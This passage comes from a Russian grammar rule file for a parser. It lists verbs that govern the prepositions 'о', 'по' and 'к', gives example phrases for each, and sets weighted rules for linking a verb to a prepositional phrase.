rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату 